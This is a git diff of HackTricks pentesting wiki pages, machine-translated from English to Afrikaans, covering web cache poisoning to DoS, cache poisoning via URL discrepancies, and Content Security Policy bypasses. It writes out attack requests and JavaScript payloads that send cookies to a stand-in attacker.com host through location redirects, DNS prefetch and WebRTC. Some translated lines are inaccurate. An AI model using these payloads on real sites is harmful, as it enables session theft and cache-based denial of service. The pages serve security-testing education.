misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). -## Automatic Tools +## Outomatiese Gereedskap -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skandeerder om web cache poisoning kwesbaarhede in 'n lys van URL's te vind en verskeie inspuitings tegnieke te toets. -## References +## Verwysings - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) @@ -249,10 +237,9 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\ +Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 9002e1464..4598e7744 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -3,42 +3,35 @@ {{#include ../../banners/hacktricks-training.md}} > [!CAUTION] -> In this page you can find different variations to try to make the **web server respond with errors** to requests that are **valid for the cache servers** +> In hierdie bladsy kan jy verskillende variasies vind om te probeer om die **webbediener te laat reageer met foute** op versoeke wat **geldend is vir die kasbedieners** - **HTTP Header Oversize (HHO)** -Send a request with a header size larger than the one supported by the web server but smaller than the one supported by the cache server. The web server will respond with a 400 response which might be cached: - +Stuur 'n versoek met 'n kopgrootte groter as die een wat deur die webbediener ondersteun word, maar kleiner as die een wat deur die kasbediener ondersteun word. Die webbediener sal met 'n 400-respons reageer wat dalk gekas kan word: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` +- **HTTP Meta Karakter (HMC) & Onverwagte waardes** -- **HTTP Meta Character (HMC) & Unexpected values** - -Send a header that contain some **harmfull meta characters** such as and . In order the attack to work you must bypass the cache first. - +Stuur 'n kop wat sommige **skadelike meta karakters** soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil. ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` +'n Sleg geconfigureerde kop kan net `\:` as 'n kop wees. -A badly configured header could be just `\:` as a header. - -This could also work if unexpected values are sent, like an unexpected Content-Type: - +Dit kan ook werk as onverwagte waardes gestuur word, soos 'n onverwagte Content-Type: ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` +- **Ongekeyde kop** -- **Unkeyed header** - -Some websites will return an error status code if they **see some specific headers i**n the request like with the _X-Amz-Website-Location-Redirect: someThing_ header: - +Sommige webwerwe sal 'n foutstatuskode teruggee as hulle **sekere spesifieke koppe in die versoek sien** soos met die _X-Amz-Website-Location-Redirect: someThing_ kop: ``` GET /app.js HTTP/2 Host: redacted.com @@ -49,21 +42,17 @@ Cache: hit Invalid Header ``` +- **HTTP Metode Oorskrywing Aanval (HMO)** -- **HTTP Method Override Attack (HMO)** - -If the server supports changing the HTTP method with headers such as `X-HTTP-Method-Override`, `X-HTTP-Method` or `X-Method-Override`. It's possible to request a valid page changing the method so the server doesn't supports it so a bad response gets cached: - +As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` +- **Ongekeyde Poort** -- **Unkeyed Port** - -If port in the Host header is reflected in the response and not included in the cache key, it's possible to redirect it to an unused port: - +As die poort in die Host-kop in die antwoord weerspieël word en nie in die cache-sleutel ingesluit is nie, is dit moontlik om dit na 'n onbenutte poort te herlei: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -72,11 +61,9 @@ HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` +- **Lang Oorgang DoS** -- **Long Redirect DoS** - -Like in the following example, x is not being cached, so an attacker could abuse the redirect response behaviour to make the redirect send a URL so big that it returns an error. Then, people trying to access the URL without the uncached x key will get the error response: - +Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die fout respons ontvang: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -91,11 +78,9 @@ Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` +- **Gasheer-kop geval normalisering** -- **Host header case normalization** - -The host header should be case insensitive but some websites expect it to be lowercase returning an error if it's not: - +Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com @@ -105,11 +90,9 @@ Cache:miss Not Found ``` +- **Pad normalisering** -- **Path normalization** - -Some pages will return error codes sending data URLencode in the path, however, the cache server with URLdecode the path and store the response for the URLdecoded path: - +Sommige bladsye sal foutkode teruggee wat data URLencode in die pad stuur, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com @@ -120,11 +103,9 @@ Cach:miss Not Found ``` - - **Fat Get** -Some cache servers, like Cloudflare, or web servers, stops GET requests with a body, so this could be abused to cache a invalid response: - +Sommige cache bedieners, soos Cloudflare, of web bedieners, stop GET versoeke met 'n liggaam, so dit kan misbruik word om 'n ongeldige antwoord te cache: ``` GET /index.html HTTP/2 Host: redacted.com @@ -136,11 +117,9 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` - -## References +## Verwysings - [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) - [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index a3b1464f1..4535177ff 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,52 +2,51 @@ {{#include ../../banners/hacktricks-training.md}} -This is a summary of the techniques proposed in the post [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) in order to perform cache poisoning attacks **abusing discrepancies between cache proxies and web servers.** +Dit is 'n opsomming van die tegnieke wat in die pos [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) voorgestel word om cache poisoning-aanvalle **te benut deur verskille tussen cache-proxies en webbedieners.** > [!NOTE] -> The goal of this attack is to **make the cache server think that a static resource is being loaded** so it caches it while the cache server stores as cache key part of the path but the web server responds resolving another path. The web server will resolve the real path which will be loading a dynamic page (which might store sensitive information about the user, a malicious payload like XSS or redirecting to lo load a JS file from the attackers website for example). +> Die doel van hierdie aanval is om die **cache-bediener te laat dink dat 'n statiese hulpbron gelaai word** sodat dit dit kas, terwyl die cache-bediener as cache-sleutel 'n deel van die pad stoor, maar die webbediener reageer deur 'n ander pad op te los. Die webbediener sal die werklike pad oplos wat 'n dinamiese bladsy sal laai (wat sensitiewe inligting oor die gebruiker kan stoor, 'n kwaadwillige payload soos XSS of om te herlei om 'n JS-lêer van die aanvaller se webwerf te laai, byvoorbeeld). ## Delimiters -**URL delimiters** vary by framework and server, impacting how requests are routed and responses are handled. Some common origin delimiters are: +**URL-delimiters** verskil volgens raamwerk en bediener, wat die manier waarop versoeke gerouteer en antwoorde hanteer word, beïnvloed. Sommige algemene oorsprong-delimiters is: -- **Semicolon**: Used in Spring for matrix variables (e.g. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). -- **Dot**: Specifies response format in Ruby on Rails (e.g. `/MyAccount.css` → `/MyAccount`) -- **Null Byte**: Truncates paths in OpenLiteSpeed (e.g. `/MyAccount%00aaa` → `/MyAccount`). -- **Newline Byte**: Separates URL components in Nginx (e.g. `/users/MyAccount%0aaaa` → `/account/MyAccount`). +- **Puntkomma**: Gebruik in Spring vir matriks veranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`). +- **Punt**: Spesifiseer antwoordformaat in Ruby on Rails (bv. `/MyAccount.css` → `/MyAccount`) +- **Null Byte**: Verkort paaie in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`). +- **Newline Byte**: Skei URL-komponente in Nginx (bv. `/users/MyAccount%0aaaa` → `/account/MyAccount`). -Other specific delimiters might be found following this process: +Ander spesifieke delimiters kan gevind word deur hierdie proses: -- **Step 1**: Identify non-cacheable requests and use them to monitor how URLs with potential delimiters are handled. -- **Step 2**: Append random suffixes to paths and compare the server's response to determine if a character functions as a delimiter. -- **Step 3**: Introduce potential delimiters before the random suffix to see if the response changes, indicating delimiter usage. +- **Stap 1**: Identifiseer nie-kasbare versoeke en gebruik dit om te monitor hoe URL's met potensiële delimiters hanteer word. +- **Stap 2**: Voeg ewekansige agtervoegsels by paaie en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer. +- **Stap 3**: Stel potensiële delimiters in voordat die ewekansige agtervoegsel om te sien of die antwoord verander, wat die gebruik van delimiters aandui. ## Normalization & Encodings -- **Purpose**: URL parsers in both cache and origin servers normalize URLs to extract paths for endpoint mapping and cache keys. -- **Process**: Identifies path delimiters, extracts and normalizes the path by decoding characters and removing dot-segments. +- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om paaie vir eindpuntkaarte en cache-sleutels te onttrek. +- **Proses**: Identifiseer pad-delimiters, onttrek en normaliseer die pad deur karakters te dekodeer en punt-segmente te verwyder. ### **Encodings** -Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency. +Verskillende HTTP-bedieners en proxies soos Nginx, Node, en CloudFront dekodeer delimiters anders, wat lei tot inkonsekwentheid oor CDNs en oorsprongbedieners wat uitgebuit kan word. Byvoorbeeld, as die webbediener hierdie transformasie uitvoer `/myAccount%3Fparam` → `/myAccount?param` maar die cache-bediener hou die pad `/myAccount%3Fparam` as sleutel, is daar 'n inkonsekwentheid. -A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response. +'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur met URL-kodering van verskillende karakters nadat die pad sonder enige kodering gelaai is en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het. -### Dot segment +### Punt-segment -The path normalization where dots are involved is also very interesting for cache poisoning attacks. For example, `/static/../home/index` or `/aaa..\home/index`, some cache servers will cache these paths with themselves ad the keys while other might resolve the path and use `/home/index` as the cache key.\ -Just like before, sending these kind of requests and checking if the response was gathered from the cache helps to identify if the response to `/home/index` is the response sent when those paths are requested. +Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie paaie met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\ +Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie paaie aangevra is. -## Static Resources +## Statiese Hulpbronne -Several cache servers will always cache a response if it's identified as static. This might be because: +Verskeie cache-bedieners sal altyd 'n antwoord kas as dit as staties geïdentifiseer word. Dit kan wees omdat: -- **The extension**: Cloudflare will always cache files with the following extensions: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - - It's possible to force a cache storing a dynamic response by using a delimiter and a static extension like a request to `/home$image.png` will cache `/home$image.png` and the origin server will respond with `/home` -- **Well-known static directories**: The following directories contains static files and therefore their response should be cached: /static, /assets, /wp-content, /media, /templates, /public, /shared - - It's possible to force a cache storing a dynamic response by using a delimiter, a static directory and dots like: `/home/..%2fstatic/something` will cache `/static/something` and the response will be`/home` - - **Static dirs + dots**: A request to `/static/..%2Fhome` or to `/static/..%5Chome` might be cached as is but the response might be `/home` -- **Static files:** Some specific files are always cached like `/robots.txt`, `/favicon.ico`, and `/index.html`. Which can be abused like `/home/..%2Frobots.txt` where the cace might store `/robots.txt` and the origin server respond to `/home`. +- **Die uitbreiding**: Cloudflare sal altyd lêers met die volgende uitbreidings kas: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx +- Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter en 'n statiese uitbreiding te gebruik, soos 'n versoek na `/home$image.png` wat `/home$image.png` sal kas en die oorsprongbediener sal met `/home` antwoordgee. +- **Welbekende statiese gidse**: Die volgende gidse bevat statiese lêers en daarom moet hul antwoord gekas word: /static, /assets, /wp-content, /media, /templates, /public, /shared +- Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter, 'n statiese gids en punte te gebruik, soos: `/home/..%2fstatic/something` wat `/static/something` sal kas en die antwoord sal `/home` wees. +- **Statiese gidse + punte**: 'n Versoek na `/static/..%2Fhome` of na `/static/..%5Chome` kan as is gekas word, maar die antwoord kan `/home` wees. +- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` kan stoor en die oorsprongbediener op `/home` kan antwoordgee. {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 118050c61..f2dce2077 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,51 +1,46 @@ -# Content Security Policy (CSP) Bypass +# Inhoudsekuriteitsbeleid (CSP) Omseiling {{#include ../../banners/hacktricks-training.md}}
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer! -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**Hacking Inligting**\ +Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**Regstydse Hack Nuus**\ +Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**Laaste Aankondigings**\ +Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers! -## What is CSP +## Wat is CSP -Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`. +Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`. -Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. - -- Implemented via response header: +Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings. +- Geïmplementeer via antwoordkop: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - -- Implemented via meta tag: - +- Geïmplementeer deur middel van meta-tag: ```xml ``` - ### Headers -CSP can be enforced or monitored using these headers: +CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste: -- `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. -- `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. +- `Content-Security-Policy`: Dwing die CSP af; die blaaiert blokkeer enige oortredings. +- `Content-Security-Policy-Report-Only`: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings. ### Defining Resources -CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: - +CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van `eval()` beheer. 'n Voorbeeld beleid is: ```bash default-src 'none'; img-src 'self'; @@ -57,80 +52,75 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` +### Richtlijnen -### Directives +- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishanterings of XSLT-stylesheets geaktiveer word. +- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsriglyne afwesig is. +- **child-src**: Spesifiseer toegelate bronne vir webwerkers en ingebedde raaminhoud. +- **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest. +- **frame-src**: Beperk URL's vir rame. +- **frame-ancestors**: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos ``, ` // The bot will load an URL with the payload ``` - ### Via Bookmarklets -This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. +Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel. -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### CSP bypass by restricting CSP +### CSP omseiling deur CSP te beperk -In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. - -You can **restrict a CSP of an Iframe** with the **`csp`** attribute: +In [**hierdie CTF skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype besmetting** of **dom klobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**. +Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut: ```html +src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" +csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` - -In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ -CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: - +In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\ +CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline skrip via sha** te aktiveer: ```html ``` +### JS ekfiltrasie met Content-Security-Policy-Report-Only -### JS exfiltration with Content-Security-Policy-Report-Only +As jy daarin slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil ekfiltreer met **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +'n Aanvaller kan daardie eindpunt misbruik om **'n SOME-aanval** teen WordPress te **genereer** en dit binne `` te **inkorporeer**, let daarop dat hierdie **script** sal **gelaai** word omdat dit **toegelaat word deur 'self'**. Boonop, en omdat WordPress geïnstalleer is, kan 'n aanvaller die **SOME-aanval** misbruik deur die **kwesbare** **callback** eindpunt wat die **CSP omseil** om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...\ +Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekstrapoleer. ### Location -You could just update the location to send to the attacker's server the secret information: - +Jy kan net die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` +### Meta-tag -### Meta tag - -You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) - +Jy kan herlei deur 'n meta-tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud lek nie) ```html ``` - ### DNS Prefetch -To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ -You can indicate a browser to pre-resolve a hostname with: `` - -You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: +Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.\ +Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: `` +Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = - body.innerHTML + - '' +body.innerHTML + +'' ``` - -Another way: - +Nog 'n manier: ```javascript const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` - -In order to avoid this from happening the server can send the HTTP header: - +Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur: ``` X-DNS-Prefetch-Control: off ``` - > [!NOTE] -> Apparently, this technique doesn't work in headless browsers (bots) +> Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie ### WebRTC -On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. - -Actually you can _leak_ informations using a _DNS request_. Check out this code: +Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie. +Werklik kan jy _leak_ inligting gebruik maak van 'n _DNS versoek_. Kyk na hierdie kode: ```javascript ;(async () => { - p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) - p.createDataChannel("") - p.setLocalDescription(await p.createOffer()) +p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) +p.createDataChannel("") +p.setLocalDescription(await p.createOffer()) })() ``` - -Another option: - +Nog 'n opsie: ```javascript var pc = new RTCPeerConnection({ - "iceServers":[ - {"urls":[ - "turn:74.125.140.127:19305?transport=udp" - ],"username":"_all_your_data_belongs_to_us", - "credential":"." - }] +"iceServers":[ +{"urls":[ +"turn:74.125.140.127:19305?transport=udp" +],"username":"_all_your_data_belongs_to_us", +"credential":"." +}] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` - -## Checking CSP Policies Online +## Kontroleer CSP Beleide Aanlyn - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) - [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Automatically creating CSP +## Outomatiese skep van CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## References +## Verwysings - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -847,18 +753,17 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
-Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer! -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking +**Hacking Inligting**\ +Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights +**Regte Tyd Hack Nuus**\ +Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates +**Laaste Aankondigings**\ +Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers! {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index d7676b27a..34bd09454 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -1,19 +1,14 @@ 